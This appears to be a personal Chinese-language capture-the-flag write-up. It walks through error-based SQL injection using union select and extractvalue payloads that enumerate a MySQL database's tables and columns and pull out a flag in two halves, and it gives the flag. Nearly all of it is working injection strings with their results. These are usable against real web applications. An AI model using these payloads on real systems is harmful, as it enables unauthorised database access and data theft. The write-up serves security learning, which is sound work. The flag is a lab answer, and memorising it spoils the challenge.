本人的解题笔记,可能写的不是很好,后续我会好好写的,因为这是个人笔记,拿出来分享难免不太全面,大家可以参考一下
1' union select 2,extractvalue(1,concat('~',(select database())));# 爆库名 结果为test_db这一个库 1' union select 1,extractvalue(1,concat('~',(select(group_concat(table_name)) from information_schema.tables where table_schema='test_db')));# //爆表名 结果为test_tb,users这几个表 1' union select 1,extractvalue(1,concat('~',(select(group_concat(column_name)) from information_schema.columns where table_name='users')));# //爆列名 *** 结果users里有USER,CURRENT_CONNECTIONS,TOTAL这几个列 1' union select 1,extractvalue(1,concat('~',(select(group_concat(column_name)) from information_schema.columns where table_name='test_tb')));# //爆列名*** 结果为id,flag这两个列,由此可以查询flag 1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')));# //这个为爆列名的 结果为id username password 和第5行的结果不同不知道为啥,但是这条是标准的查询语句,第5,6行不是标准的查询语句 1' union select 1,extractvalue(1,concat('~',(select group_concat(flag) from test_tb)));# //查询id和flag的数据获取到flag但是不是完整的flag 结果为~NSSCTF{e72003dd-9fe5-4b37-bf0还需要再查询 1' union select 1,extractvalue(1,concat('~',(select group_concat(left(flag,30)) from test_tb)));# //查询出前30个字符 结果为~NSSCTF{e72003dd-9fe5-4b37-bf03' 还需要在查询后面30个字符 1' union select 1,extractvalue(1,concat('~',(select group_concat(right(flag,30)) from test_tb)));# //查询出后30个字符 结果为d-9fe5-4b37-bf03-874540ffea39}和上面的拼接即可得到完整flag flag=NSSCTF{e72003dd-9fe5-4b37-bf03-874540ffea39}